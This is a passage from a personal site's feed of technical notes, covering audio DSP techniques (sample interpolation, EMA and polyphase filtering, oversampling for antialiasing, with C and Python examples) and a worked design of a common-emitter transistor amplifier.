                    style="text-align: left;">1.7817974362806792</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">B4</td>
                    <td style="text-align: left;">493.8833290048991</td>
                    <td
                    style="text-align: left;">1.8877486253633877</td>
                    </tr>
                    </tbody>
                    </table>
                    <p>We can store this table as an array and use a
                    lookup to get the increment for any given note. Our
                    sample playing code can now be something like this,
                    making also sure that when looping, we keep the
                    remainder of the fractional part to avoid
                    glitches:</p>
                    <pre><code>typedef struct Sample {
    float *data;
    float len;
    float pos;
} Sample;

int
audio_callback(float *output, int len) {
    for (int x = 0; x &lt; len; x++) {
        if (sample-&gt;data == NULL) {
            continue;
        }

        // Looping.
        while (sample-&gt;pos &gt;= sample-&gt;len) {
            sample-&gt;pos -= sample-&gt;len;
        }

        int pos = sample-&gt;pos;
        output[x] = sample-&gt;data[pos];
        sample-&gt;pos += sample-&gt;inc;
    }
}</code></pre>
                    <p>Note that this doesn’t quite do the trick just
                    yet. If you try using this function, you will notice
                    some high pitch harmonics creeping in, even if you
                    use a pure sine sample. One of the things causing
                    this effect is the fact that we are using a sample
                    and hold method for selecting samples. By truncating
                    the fractional part of the position, we create a
                    “staircase” effect, adding a bunch of harmonics to
                    our sample. Instead, you probably want to use some
                    form of sample interpolation, the simplest of which
                    is linear interpolation. This method is already a
                    huge improvement over no interpolation, and can be
                    quite fast to calculate:</p>
                    <pre><code>float
sample_lerp(float *data, size_t len, float pos) {
    float x = pos;
    int x0 = (int)x;
    int x1 = (x0 + 1);
    float y0 = data[x0];
    float y1 = data[x1 % len];
    x = x - x0;
    float y = y0 + x * (y1 - y0);
    return y;
}</code></pre>
                    <p>Another popular interpolation method is the cubic
                    interpolation, more specifically the Hermite
                    interpolation. This method requires 4 points, where
                    the point we want to interpolate is located between
                    the two middle ones. I was scratching my head trying
                    to understand the derivation for this polynomial,
                    I’m not gonna go into a lot of detail here, but
                    essentially, on a 3rd order polynomial you set some
                    constrains so that your derivative behave in a
                    smoother manner. More details can be found in <a
                    href="https://dsp.stackexchange.com/questions/18265/bicubic-interpolation">this
                    StackExchange answer</a> and <a
                    href="https://youtu.be/jvPPXbo87ds?feature=shared">The
                    Continuity of Splines video</a> by Freya Holmer. The
                    important thing about this method is that it
                    presents a smoother path across samples, and with a
                    smoother wave, you have less added artificial
                    harmonics.</p>
                    <pre><code>float
sample_hermite(float *data, size_t len, float pos) {
    float x = pos;
    int x0 = x - 1;
    int x1 = x;
    int x2 = x + 1;
    int x3 = x + 2;
    float y0 = data[x0 % len];
    float y1 = data[x1];
    float y2 = data[x2 % len];
    float y3 = data[x3 % len];
    x = x - x1;
    float c0 = y1;
    float c1 = 0.5f * (y2 - y0);
    float c2 = y0 - 2.5f * y1 + 2.0f * y2 - 0.5f * y3;
    float c3 = 1.5f * (y1 - y2) + 0.5f * (y3 - y0);
    return ((c3 * x + c2) * x + c1) * x + c0;
}</code></pre>
                    <p>In practice, linear interpolation is good enough
                    for many purposes, but it’s good to have a better
                    method available in case we have the processing
                    power to spare.</p>
                    <h3 id="resources-1">Resources</h3>
                    <ul>
                    <li><a
                    href="https://paulbourke.net/miscellaneous/interpolation/">Interpolation
                    Methods (Paul Bourke)</a></li>
                    <li><a
                    href="http://cvcweb.ices.utexas.edu/ccv/papers/1993/conference/multidim.pdf">Multi-dimensional
                    Hermite Interp olation and Approximation for
                    Modelling and Visualization</a></li>
                    </ul>
                    <h2 id="filtering">Filtering</h2>
                    <h3 id="ema">EMA</h3>
                    <ul>
                    <li>Uses feedback.</li>
                    <li>Cheap and simple to implement.</li>
                    <li>Cutoff frequency (-3dB) can’t be defined for
                    high alpha.</li>
                    <li>Alpha determines the amount of filtering (alpha
                    = 1 -&gt; no filtering / alpha = 0 -&gt; maximum
                    filtering).</li>
                    <li>Frequency domain performance not great (phasing
                    issues) but useful for light filtering.</li>
                    </ul>
                    <p>Formula:</p>
                    <pre><code>EMA LP: y[n] = alpha * x[n] + (1 - alpha) * y[n - 1]
        where:     x := input
                   y := output
               alpha := filter amount [0.0 .. 1.0]

EMA HP: y[n] = 1/2 * (2 - beta) * (x[n] - x[n - 1]) + (1 - beta) * y[n - 1]
        where:     x := input
                   y := output
                beta := filter amount [0.0 .. 1.0]</code></pre>
                    <ul>
                    <li><a href="https://youtu.be/1e_ZB8p5n6s">The
                    Simplest Digital Filter (SMT32 Implementation) -
                    Phil’s Lab</a></li>
                    </ul>
                    <h3 id="polyphase-filtering">Polyphase
                    filtering</h3>
                    <p>A common task in DSP is to perform resampling via
                    upsampling and downsampling of a signal. Without
                    getting too much into the math (if you are reading
                    this, you probably already know what the Nyquist
                    limit is right?), we need to apply a low pass filter
                    in addition to the resampling to avoid aliasing.</p>
                    <p>For upsampling, we can zero stuff a signal with
                    zeroes. For example, for an upsamping factor
                    <code>L = 2</code>, we put one zero in between each
                    pair of samples, for <code>L = 3</code> we put 3 and
                    so on. After this zero stuffing, we apply a low pass
                    filter to interpolate between the original
                    samples.</p>
                    <pre><code>         ┌─────┐    ┌─────┐
x[n] ───&gt;│  L  │───&gt;│ LPF │───&gt; y[n], fs = fs * L
         └─────┘    └─────┘</code></pre>
                    <p>In the case of downsampling, we do it the other
                    way around, with a low pass filter first to avoid
                    frequencies that would otherwise alias, and then we
                    apply decimation, meaning we keep only each sample
                    multiple of M. So for <code>M = 2</code>, we would
                    remove every other sample.</p>
                    <pre><code>         ┌─────┐    ┌─────┐         
x[n] ───&gt;│ LPF │───&gt;│  M  │───&gt; y[n], fs = fs / M
         └─────┘    └─────┘           </code></pre>
                    <p>You can already see a problem if you pay
                    attention to this, we end up having to filter a
                    bunch of samples that we end up throwing away. What
                    a waste!</p>
                    <p>Here is where Polyphase filters come into play.
                    The math it’s a bit too involved to cover here, but
                    I’ll link some resources below with more in depth
                    explanations. I’m going to focus on the practical
                    part here. For a filter <code>H[n]</code> we can
                    switch our signal path so that the downsampler
                    becomes:</p>
                    <pre><code>                          ┌──────┐    
              ┌──────────&gt;│  H1  │───┐
              │           └──────┘   │ 
              │                      │
              │           ┌──────┐   │ 
              │ ┌────────&gt;│  H2  │───┤
           ┌─────┐        └──────┘   │
 x[n]  ─── │ MUX │                   ├── + ──&gt; y[n]
           └─────┘        ┌──────┐   │
              │ └────────&gt;│  H3  │───┤
              │           └──────┘   │
              │              ...     │
              │           ┌──────┐   │
              └──────────&gt;│  Hn  │───┘
                          └──────┘    </code></pre>
                    <p>Where <code>MUX</code> is a sample multiplexer
                    that will push sample <code>n = 0</code> to
                    <code>H1</code>, sample <code>n = 1</code> to
                    <code>H2</code>, etc. And each of the subfilters can
                    be easily obtained by separating the coefficients in
                    a similar way, each N intervals. This sounds a bit
                    abstract so let’s look at an example.</p>
                    <p>Say we have an FIR filter of 4 coefficients in
                    the form:</p>
                    <pre><code>b = c0 + c1*z-1 + c2*z-2 + c3*z-3</code></pre>
                    <p>If we want to do decimation by a factor of 2, the
                    subfilters <code>H0</code> and <code>H1</code> are
                    split as such:</p>
                    <pre><code>H0 = c0 + c2*z-1
H1 = c1 + c3*z-1</code></pre>
                    <p>So far so good right? For me, I’ve found at this
                    point it’s a bit difficult to understand how the
                    signal flow actually work, should the multiplexing
                    work in sync with the inner filters or not? How does
                    the summation work? In summary, we process all the
                    samples, but each of the input samples get sent into
                    a different filter, so <code>x[0]</code> goes to
                    <code>H0</code>, <code>x[1]</code> to
                    <code>H1</code>, <code>x[2]</code> to
                    <code>H0</code>, etc. The trick is that the output
                    is half the rate of the input, so for
                    <code>y[0]</code> we need to send the sample
                    <code>x[0]</code> to the first filter and gather the
                    output of all of the filters for adding them
                    together. Still confused? So was I! So I decided to
                    experiment a bit in python. Here is the code for an
                    <code>M=2</code> decimator using a stateful
                    <code>FIRFilter</code> class that keep track of the
                    internal delayed samples.</p>
                    <pre><code>class FIRFilter:
    def __init__(self, b):
        self.b = b
        self.xz = np.zeros(len(b))
        self.y = 0.0

    def filter_sample(self, xn):
        self.xz[0] = xn
        acc = 0.0
        for n in range(len(self.b)):
            acc += self.xz[n] * self.b[n]

        # Shift delay line.
        self.xz = np.roll(self.xz, 1)
        self.y = acc
        return acc

    def filter(self, x):
        y = np.zeros(len(x))
        for i, x in enumerate(x):
            y[i] = self.filter_sample(x)
        return y

def filter_polyphase(b, x):
    N = len(x)
    y = np.zeros(N//M)
    h0 = FIRFilter(b[0::M])
    h1 = FIRFilter(b[1::M])
    for i, n in enumerate(range(0, N, M)):
        acc = h0.filter_sample(x[n]) + h1.y
        h1.filter_sample(x[n + 1])
        y[i] = acc
    return y</code></pre>
                    <p>We can exted this to an M bank polyphase
                    decimator easily:</p>
                    <pre><code>def filter_polyphase(b, x, M):
    N = len(x)
    y = np.zeros(N//M)
    bank = []
    for i in range(M):
        bank.append(FIRFilter(b[i::M]))
    for i, n in enumerate(range(0, N, M)):
        acc = 0.0
        for j in range(0, M):
            acc += bank[j].filter_sample(x[n + M - 1 - j])
        y[i] = acc
    return y</code></pre>
                    <p>Let’s prove that this works! Assuming we are
                    already oversampled by a factor of 2, we would like
                    to downsample to 48kHz. We can generate a simple
                    filter:</p>
                    <pre><code>width = 1000
fs = 48000 * 2
fc = 24000 - width / 2
numtaps = 256
b = signal.remez(numtaps, [0, fc, fc + width, fs/2], [1, 0], fs=fs)</code></pre>
                    <p><img src="/notes/dsp/fir_filter.png" /></p>
                    <p>We will test a simple implementation of the
                    combination of filtering and decimation with an
                    impulse response.</p>
                    <pre><code>def decimate(x, M):
    y = np.zeros(len(x)//M + 1)
    for i, n in enumerate(range(0, len(x), M)):
        y[i] = x[n]
    return y

x = np.zeros(1024)
x[0] = 1.0
fir = FIRFilter(b)
y0 = fir.filter(x)
y1 = decimate(y0, 2)</code></pre>
                    <p>Giving us the following time and frequency
                    response:</p>
                    <p><img
                    src="/notes/dsp/fir_filter_and_decimation_time_response.png" />
                    <img
                    src="/notes/dsp/fir_filter_and_decimation_freq_response.png" /></p>
                    <p>Now let’s see how it compares to our polyphase
                    filter:</p>
                    <pre><code>y2 = filter_polyphase(b, x, 2)</code></pre>
                    <p>We can see that the output of the polyphase
                    filter fully overlaps with the filtered and
                    decimated signal.</p>
                    <p><img
                    src="/notes/dsp/fir_polyphase_time_response.png" />
                    <img
                    src="/notes/dsp/fir_polyphase_freq_response.png" /></p>
                    <p>Amazing! And now each sample just have to do half
                    of the filtering operations. The magic of this
                    technique is that if we were to downsample by a
                    factor of 4, for the same filter coefficients each
                    sample only has to do 1/4 of of the original
                    multiplies.</p>
                    <h4 id="resources-2">Resources</h4>
                    <ul>
                    <li><a
                    href="https://youtu.be/afU9f5MuXr8?si=X0ZtbTTBp-nzWO_u">Recent
                    Interesting and Useful Enhancements of Polyphase
                    Filter Banks</a></li>
                    </ul>
                    <h3 id="antialiasing">Antialiasing</h3>
                    <p>So we know that we may want to use a polyphase
                    filter for an antialiasing filter with downsampling,
                    and this may work well for <code>M = 2</code>. In
                    the context of audio applications, we oversample and
                    downsample our signal to avoid aliasing when
                    harmonics are generated, for example by some
                    saturation or waveshaping function. Once the
                    aliasing harmonics are baked into a signal, they are
                    impossible to remove, however if we operate at a
                    higher sample rate, the harmonics will take longer
                    and have more time to dissipate before bouncing back
                    from the Nyquist limit. The more we oversample, the
                    less reflections we will have, though our processing
                    becomes much more expensive as we would have to
                    process many more samples.</p>
                    <p>Let’s show an example of what this looks like by
                    creating different chirp signals (sine sweeps) and
                    distorting them with a tanh waveshaper. Note that we
                    apply the distortion to the “oversampled”
                    signal:</p>
                    <pre><code>gain = 1.0
x0 = np.tanh(signal.chirp(np.arange(48000) / 48000, f0=100, f1=22000, t1=1) * gain)
x2 = np.tanh(signal.chirp(np.arange(48000 * 2) / 48000 / 2, f0=100, f1=22000 * 2, t1=2) * gain)
x4 = np.tanh(signal.chirp(np.arange(48000 * 4) / 48000 / 4, f0=100, f1=22000 * 4, t1=4) * gain)
x8 = np.tanh(signal.chirp(np.arange(48000 * 8) / 48000 / 8, f0=100, f1=22000 * 8, t1=8) * gain)
x16 = np.tanh(signal.chirp(np.arange(48000 * 16) / 48000 / 16, f0=100, f1=22000 * 16, t1=16) * gain)
x32 = np.tanh(signal.chirp(np.arange(48000 * 32) / 48000 / 32, f0=100, f1=22000 * 32, t1=32) * gain)
x64 = np.tanh(signal.chirp(np.arange(48000 * 64) / 48000 / 64, f0=100, f1=22000 * 64, t1=64) * gain)
x128 = np.tanh(signal.chirp(np.arange(48000 * 128) / 48000 / 128, f0=100, f1=22000 * 128, t1=128) * gain)</code></pre>
                    <p>Before we start, why don’t we take a look at an
                    optimized FIR filter for this purpose? We would like
                    a pretty steep filter with a flat passband and a low
                    stopband attenuation, say of -100dB. A good
                    candidate for this design is to use a
                    blackman-harris window FIR filter. We can check a
                    few other windows like the blackman or hamming for
                    comparison.</p>
                    <p><img
                    src="/notes/dsp/fir_design_win_comparison.png" /></p>
                    <p>As you can see, for the same number of taps, the
                    attenuation is much better on the stopband on the
                    blackmanharris. For this window we can study the
                    frequency response for different number of taps.</p>
                    <p><img
                    src="/notes/dsp/fir_design_ntap_comparison.png" /></p>
                    <p>Until <code>n = 16</code> we get sufficient
                    attenuation, even if it’s progressively less steep.
                    If we were to downsample in multiple steps, we could
                    use a 128 tap filter for the last pass, a 32 for the
                    second to last pass and 16 for everything before
                    that. Here is how you can get the coefficients for
                    those filters for a frequency cut slightly below
                    <code>fs/2</code>.</p>
                    <pre><code>b2 = signal.firwin(128, 0.455, window=&#39;blackmanharris&#39;)
b4 = signal.firwin(32, 0.455, window=&#39;blackmanharris&#39;)
b8 = signal.firwin(16, 0.455, window=&#39;blackmanharris&#39;)</code></pre>
                    <p>However, with our polyphase filters, we can
                    actually just downsample directly with a factor M.
                    Bear in mind though, that to maintain the same
                    filter performance at lower fractions of the
                    frequency range, we need to progressively increase
                    the number of taps. The good news is that the
                    performance of the filter will be the same no matter
                    what, since the work is divided, though the increse
                    in number of samples also will affect the amount of
                    work needed.</p>
                    <pre><code>ntap2 = 128
ntap4 = ntap2 * 2
ntap8 = ntap4 * 2
ntap16 = ntap8 * 2
ntap32 = ntap16 * 2
ntap64 = ntap32 * 2
ntap128 = ntap64 * 2
b2 = signal.firwin(ntap2, 0.90/2, window=window)
b4 = signal.firwin(ntap4, 0.90/4, window=window)
b8 = signal.firwin(ntap8, 0.90/8, window=window)
b16 = signal.firwin(ntap16, 0.90/16, window=window)
b32 = signal.firwin(ntap32, 0.90/32, window=window)
b64 = signal.firwin(ntap64, 0.90/64, window=window)
b128 = signal.firwin(ntap128, 0.90/128, window=window)</code></pre>
                    <p><img
                    src="/notes/dsp/fir_design_ntap_polyphase.png" /></p>
                    <p>Time of the truth, we will up to x128
                    oversampling and see the effect in our
                    spectrograms.</p>
                    <pre><code>y2 = filter_polyphase(b2, x2, 2)
y4 = filter_polyphase(b4, x4, 4)
y8 = filter_polyphase(b8, x8, 8)
y16 = filter_polyphase(b16, x16, 16)
y32 = filter_polyphase(b32, x32, 32)
y64 = filter_polyphase(b64, x64, 64)
y128 = filter_polyphase(b128, x128, 128)</code></pre>
                    <p>Starting at x8 oversampling, our aliasing is
                    mostly gone, hurray!</p>
                    <p><img
                    src="/notes/dsp/aliasing_0_to_128_driven.png" /></p>
                    <p>But wait, what happens if you increase the gain
                    in the signal, hence adding more distortion? Let’s
                    start by bumping it up to 2.0</p>
                    <p><img
                    src="/notes/dsp/aliasing_0_to_128_driven_x2.png" /></p>
                    <p>Uh oh, we see now some aliasing starting to creep
                    in at x8. May still be fine for most applications,
                    but here is what happens if we increase the gain to
                    10.0</p>
                    <p><img
                    src="/notes/dsp/aliasing_0_to_128_driven_x10.png" /></p>
                    <p>A lot more audible harmonics there, but we may
                    just increase the oversampling factor if we have the
                    cpu to spare. What if we go all the way to a gain of
                    100 times?</p>
                    <p><img
                    src="/notes/dsp/aliasing_0_to_128_driven_x100.png" /></p>
                    <p>Wowza, that’s a lot of aliasing, even at x64 (and
                    arguably x128). Of course that’s quite a lot of
                    extra gain and distortion being applied, but it
                    shows that oversampling is not always the solution
                    for all our aliasing woes. Things like hard clipping
                    or square waves will inevitably add a lot of
                    aliasing to our signal if we are not careful, though
                    there are other techniques that can be used to
                    produce alias free oscillators.</p>
                    <h3 id="comb-filters">Comb filters</h3>
                    <ul>
                    <li><a
                    href="http://www.richarddudas.com/documents/ahn_dudas_icmc2013.pdf">Musical
                    application of nested comb filters for inharmonic
                    resonator effects</a></li>
                    </ul>
                    <h2 id="synthesis">Synthesis</h2>
                    <h3 id="karplusstrong">Karplus–Strong</h3>
                    <ul>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Karplus%E2%80%93Strong_string_synthesis">Karplus–Strong
                    (Wikipedia)</a></li>
                    <li><a
                    href="https://users.soe.ucsc.edu/~karplus/papers/digitar.pdf">Digital
                    Synthesis of Plucked-String and Drum
                    Timbres</a></li>
                    <li><a
                    href="https://flothesof.github.io/Karplus-Strong-algorithm-Python.html">Karplus-Strong
                    algorithm in Python</a></li>
                    <li><a
                    href="https://signalsmith-audio.co.uk/writing/2021/analytic-pluck/">Analytic
                    pluck synthesis</a></li>
                    </ul>
                    <h3 id="wavetable">Wavetable</h3>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=WEnau2iDQIc&amp;ab_channel=LastKnownMeal">Wavetable
                    synths tutorial by earlevel</a></li>
                    </ul>
                    <h2 id="effects">Effects</h2>
                    <h3 id="reverb">Reverb</h3>
                    <ul>
                    <li><a href="https://youtu.be/QWnD30xHjW4">Let’s
                    Write A Reverb by Geraint Luff (Video)</a></li>
                    <li><a
                    href="https://signalsmith-audio.co.uk/writing/2021/lets-write-a-reverb/">Let’s
                    Write A Reverb by Geraint Luff (Blog)</a></li>
                    <li><a href="https://youtu.be/aJLhqfHrwsw">Sean
                    Costello (Valhalla DSP) on reverb design, March
                    2019</a></li>
                    </ul>
                    <h2 id="other-resources">Other Resources</h2>
                    <ul>
                    <li><a
                    href="https://www.ece.rutgers.edu/~orfanidi/intro2sp/orfanidis-i2sp.pdf">Intro
                    to Signal Processing (Orfanidis)</a></li>
                    <li><a
                    href="https://ccrma.stanford.edu/~jos/filters/">Introduction
                    to Digital Filters with Audio Applications</a></li>
                    <li><a
                    href="https://www.amazon.com/DAFX-Digital-Effects-Udo-Z%C3%B6lzer/dp/0470665998">DAFX:
                    Digital Audio Effects</a></li>
                    <li><a
                    href="https://dl.acm.org/doi/book/10.5555/1795494">Discrete-Time
                    Signal Processing</a></li>
                    <li><a
                    href="https://mitpress.mit.edu/9780262044912/the-computer-music-tutorial/">The
                    Computer Music Tutorial</a></li>
                    <li><a
                    href="https://www.amazon.com/Streamlining-Digital-Signal-Processing-Guidebook/dp/1118278380">Streamlining
                    Digital Signal Processing: A Tricks of the Trade
                    Guidebook, 2nd Edition</a></li>
                    <li><a
                    href="https://books.google.co.uk/books?id=x8tGby300QMC">Chromatographic
                    Integration Methods</a></li>
                    <li><a
                    href="https://digsell.net/product/pdf-digital-signal-processing-principles-and-applications-thomas-holton/">Digital
                    Signal Processing (Principles and Applications) by
                    Thomas Holton</a></li>
                    <li><a
                    href="https://youtube.com/playlist?list=PLBlnK6fEyqRioD2C9Sa2Kf5Ms35GE8Eq1&amp;si=mHI3mcRpZ5PWQHUc">Sampling
                    theorem (Neso)</a></li>
                    <li><a
                    href="https://ccrma.stanford.edu/~stilti/papers/blit.pdf">Alias-Free
                    Digital Synthesis of Classic Analog Waveforms
                    (BLIT)</a></li>
                    <li><a
                    href="http://www.cs.cmu.edu/~eli/papers/icmc01-hardsync.pdf">Hard
                    Sync Without Aliasing (Eli Brandt)</a></li>
                    <li><a
                    href="https://www.experimentalscene.com/articles/minbleps.php">Code
                    for MinBLEPs</a></li>
                    <li><a
                    href="https://www.musicdsp.org/en/latest/_downloads/91daec88cb0d79aeb1c21d8afd4e3199/bandlimited.pdf">Synthesising
                    band limited waveforms using wavetables (Joe
                    Wright)</a></li>
                    <li><a
                    href="https://signalsmith-audio.co.uk/writing/2022/cascaded-box-filter-smoothing/">Cascaded
                    box-filter smoothing filters</a></li>
                    <li><a
                    href="https://signalsmith-audio.co.uk/writing/2021/cheap-energy-crossfade/">A
                    cheap energy-preserving-ish crossfade</a></li>
                    <li><a
                    href="https://signalsmith-audio.co.uk/writing/">Signalsmith
                    Audio Blog</a></li>
                    </ul>
                    <h2 id="audio-apis">Audio APIs</h2>
                    <ul>
                    <li><a
                    href="https://github.com/mackron/miniaudio">miniaudio</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Electronics</title>
            <link href="https://badd10de.dev//notes/electronics.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/electronics.html</id>
            <updated>2026-06-16T09:49:16Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>These are some scatterbrain notes on electronics.
                    I did study electrical engineering in quite a lot of
                    depth, but sadly most of that knowledge has faded
                    away with little to no use. As I’m getting
                    re-acquainted with these things I decided to
                    document my analysis and design process, but reader,
                    treat these notes with a pinch of salt, and please
                    let me know if you find inaccuracies or flat out
                    wrong information.</p>
                    <h2 id="class-a-amp-with-a-common-emitter-npn">Class
                    A amp with a common emitter NPN</h2>
                    <p>In this common configuration we have two main
                    parts. The voltage divider on the left (R1 and R2)
                    set the DC bias point for the linear region of the
                    transistor. The right part (Rc and Re) adjust the Q
                    point and determines the gain of the circuit. In
                    this case we have decoupling capacitors (C1 and C2)
                    which will remove the DC component of the input and
                    output signals, as we typically apply this circuit
                    to audio or AC waves. We can additionally have an
                    optional DC bypass capacitor for Re (C3) which can
                    help us greatly increase the gain but give us higher
                    output distortion.</p>
                    <pre><code>               +-----------+------------ Vcc
               |           |
               |           |
               R1          Rc
               |           |
               |           |
               |           +--------||----&gt; out
               |         |/ c       C2
in &gt;----||-----+---------|b NPN
        C1     |         |\ e
               |           +. . . . .+
               |           |         |
               |           |         |
               R2          Re       C3
               |           |         |
               |           |         |
               +-----------+---------+-- GND</code></pre>
                    <h3 id="design">Design</h3>
                    <p>If we don’t have any hard initial requirements,
                    it’s typical to start considering which would be the
                    load impedance, as we would like to make Rc at least
                    10 times smaller. Vcc will determine the maximum
                    output voltage we can get out of the circuit, common
                    values are 5V, 9V and 12V.</p>
                    <p>If we are amplifying an AC signal we will
                    typically want to set our bias so that the Q point
                    is right in the middle, giving us the maximum amount
                    of gain in both directions before distortion
                    (clipping). In practice we can achieve this by
                    making Vc midway between Vcc and Vb or Vb:
                    <code>Vc = (Vcc - Ve) / 2</code>. We are ignoring
                    the voltage drop in this calculation (Vce) but for
                    more exact values we would say that
                    <code>Vc(sat) = (Vcc + Vce(sat) + Ve)</code>, where
                    Vce(sat) is usually around 0.2 V, thus the desired
                    collector current for maximum swing would be
                    <code>Vc(q) = (Vcc - Vc(sat))/2</code>. For
                    simplicity we’ll stick to the initial method in our
                    calculations.</p>
                    <p>At this point we haven’t made any decisions yet,
                    but we can use a couple of rules of thumb to get
                    started:</p>
                    <ol type="1">
                    <li>We may want to have 100-500mV on Ve for good
                    bias stability vs beta.</li>
                    <li>We may want to choose an Ic value determined by
                    the expected output or just selecting a typical
                    value, for example 1mA. If we want lower consumption
                    we would go with lower intensity but we may need to
                    drive a higher current on the load.</li>
                    <li>We may just have some resistors at hand and
                    that’s the only thing we can use.</li>
                    <li>We may want to make Vc, Ve and Vce as similar as
                    possible and use a bypass capacitor on the emitter
                    to set the gain. In this configuration Re = Rc.</li>
                    <li>We may just set Re to be 10% of Vcc.</li>
                    </ol>
                    <p>With some of these decisions we should be able to
                    calculate Rc, Re and Ic. For example, let’s say we
                    use a 9V power supply (Vcc = 9V) and the load
                    impedance is of 47K, so we use a 4.7K resistor for
                    Rc.</p>
                    <h4 id="setting-the-q-point-and-gain">Setting the Q
                    point and gain</h4>
                    <p>If we want to have 500mV on Ve, we know that
                    <code>Vc = (9 - 0.5) / 2 = 4.25V</code>. The voltage
                    drop by Rc will then be
                    <code>VRc = (9 - 4.25) = 4.75</code> and since we
                    know Rc, we use Ohm’s law to determine that
                    <code>Ic = VRc / 4.7e3 = 1.01mA</code>.</p>
                    <p>Now that we have Ic and we know we want 500mV on
                    Re, <code>Re = 500mV / 1.01mA = 500 Ohm</code>.
                    Closest we can get with commercial resistors is
                    <code>Re = 470 Ohm</code>. We can recalculate the
                    voltage drop at that intensity as
                    <code>Ve = 470 * 1.01e-3 = 475mV</code> (close
                    enough). Technically we would have to go back and
                    calculate the proper Ic(q) with both resistors and
                    then we would get a better swing without distortion
                    in our amplifier, but for this example a Ic of 1mA
                    simplify the calculations quite a bit.</p>
                    <p>With this information and looking at the spec
                    sheet of the transistor, we know that
                    <code>Vb = Vbe + Ve</code>, typically
                    <code>Vbe = 0.65-0.7</code>, thus
                    <code>Vb = 1.125V</code>. This is good, as we
                    usually want to have between 1 and 1.5V on Vb for
                    good bias stability.</p>
                    <h4 id="setting-the-dc-bias">Setting the DC
                    bias</h4>
                    <p>For the voltage divider (R1, R2) we would like to
                    take Ib out of the equation, furthermore, we want
                    the intensity going through R2 (Ibias) to be at
                    least 10 times larger than Ib. The specsheet give us
                    an approximate hfe (beta), which can vary largely,
                    even within components of the same model. Knowing
                    that <code>Ic = Ib * beta</code>, we can measure or
                    estimate low, typical and high value of beta for a
                    particular component. Let’s assume
                    <code>beta = 100</code> for now. With this beta
                    number and knowing our Vb value from the previous
                    step, we can easily calculate the value of R2 as:
                    <code>R2 = Vb / (10 * Ib) = 11138 Ohm</code>. If we
                    were to make <code>Ibias = 20 * Ib</code> instead,
                    we would have <code>R2 = 5569 Ohm</code>. Higher
                    Ibias values will give us more stability in the
                    circuit, but we will also be burning more power and
                    the resistors will be smaller, creating a lower
                    input impedance, which is usually not desired. Let’s
                    go with <code>R2 = 11 kOhm</code></p>
                    <p>Similarly we can finalize the design by selecting
                    R1 in the same way. The voltage drop with the
                    voltage divider equation:
                    <code>R1 = (Vcc/Vb - 1) * R2 = 77 kOhm</code>. An
                    alternative calculation is to use the same
                    calculation as for R2 but adding the Ib to Ibias,
                    and thus the formula would be
                    <code>R1 = (Vcc - Vb) / (10 * Ib + Ib) = (Vcc - Vb) / (11 * Ic / beta)</code>.
                    This arrive to a similar design, with a final
                    practical value of <code>R1 = 70 kOhm</code>. This
                    seems to give a more accurate bias in practice.</p>
                    <p>Finally we can calculate the DC bypass capacitors
                    (C1, C2) to meet the desired bandwidth. In audio
                    application we work with a range of 20Hz to 22kHz.
                    In our application, a capacitor in series behaves
                    like a high-pass filter, with a frequency cutoff
                    given by <code>f = 1 / (2 * pi * R * C)</code>.</p>
                    <p>For C1, it sees an input impedance given by the
                    voltage divider
                    (<code>RC1 = R1 || R2 = 1 / (1 / R1 + 1 / R2) = 9506.17</code>).
                    Furthermore for a 20 Hz cutoff we need
                    <code>C1 = 1 / (2 * pi * 9506.16 * 20) = 837nF</code>.
                    Anything larger than that and we will meet the
                    criteria. For the output, C2 only sees the load, in
                    this case 47 kOhm, so applying the same formula we
                    get <code>C2 = 169nF</code>, so once again anything
                    larger than that will give us the desired cutoff
                    below 20Hz. To be safe, we can use caps that are 10
                    times these minimum values to minimize carryover
                    signal dropoff.</p>
                    <p>Now, if we want to redo the numbers with the more
                    accurate calculations stemming from an
                    <code>Ic(q) = 875uA</code> we see that our bias
                    resistors are <code>R1 = 81.5 kOhm</code> and
                    <code>R2 = 12 kOhm</code>.</p>
                    <p><a
                    href="/notes/electronics/common-emitter-schem-dc.png"><img
                    src="/notes/electronics/common-emitter-schem-dc.png" /></a></p>
                    <p>Not too far off from the previous ones, but if we
                    put these number in the simulator we can see that
                    with the more accurate bias we can use a signal of
                    +/- 450 mV with minimal distortion:</p>
                    <p><a
                    href="/notes/electronics/common-emitter-sim-signal-accurate.png"><img
                    src="/notes/electronics/common-emitter-sim-signal-accurate.png" /></a></p>
                    <p>whereas there was a significant change in the
                    bottom part of the wave with the simplified
                    numbers:</p>
                    <p><a
                    href="/notes/electronics/common-emitter-sim-signal-inaccurate.png"><img
                    src="/notes/electronics/common-emitter-sim-signal-inaccurate.png" /></a></p>
                    <h3 id="gain-and-frequency-response">Gain and
                    frequency response</h3>
                    <p>If we don’t have a bypass capacitor on the
                    emitter, the voltage gain of the circuit can be
                    determined by roughly
                    <code>Av = - VRc / VRe = - Rc / Re</code>. The
                    negative part is because this is an inverting
                    amplifier circuit. Without getting into the math of
                    it, with the bypass capacitor in place we have a
                    gain of <code>Av = -VRc / Vth</code>, where Vth is
                    of approximately 26 mV at room temperature. In our
                    case we should have an approximate gain of
                    <code>Av = - 10</code>. If we simulate the circuit
                    we see this:</p>
                    <p><a
                    href="/notes/electronics/common-emitter-sim-gain.png"><img
                    src="/notes/electronics/common-emitter-sim-gain.png" /></a></p>
                    <p>Around 8.5, which close enough in this case. What
                    about the frequency response, did we meet the
                    requirements? The answer is yes:</p>
                    <p><a
                    href="/notes/electronics/common-emitter-sim-freq.png"><img
                    src="/notes/electronics/common-emitter-sim-freq.png" /></a></p>
                    <p>If we use a bypass capacitor for the emitter, we
                    want to make sure is big enough so that it
                    attenuates all frequencies above 20 Hz on the
                    emitter.</p>
                    <p><a
                    href="/notes/electronics/common-emitter-schem-bypass.png"><img
                    src="/notes/electronics/common-emitter-schem-bypass.png" /></a></p>
                    <p>This will give us an approximate gain of
                    <code>Av = -(4.7e3 * 875e-6) / 26e-3 = 158</code> at
                    room temp. As can be seen on the simulator, the gain
                    is close to Av = -137, a big jump compared to the
                    previous one. However, notice how it is much less
                    controlled, with big gain changes between 20 Hz
                    (36.2) and 200 Hz (131). If we don’t care much for
                    those, frequencies, this makes for a terrific
                    amplifier, but if the goal is to display the most
                    accurate signals as possible we may want to avoid
                    using the bypass capacitor on the emitter.</p>
                    <p><a
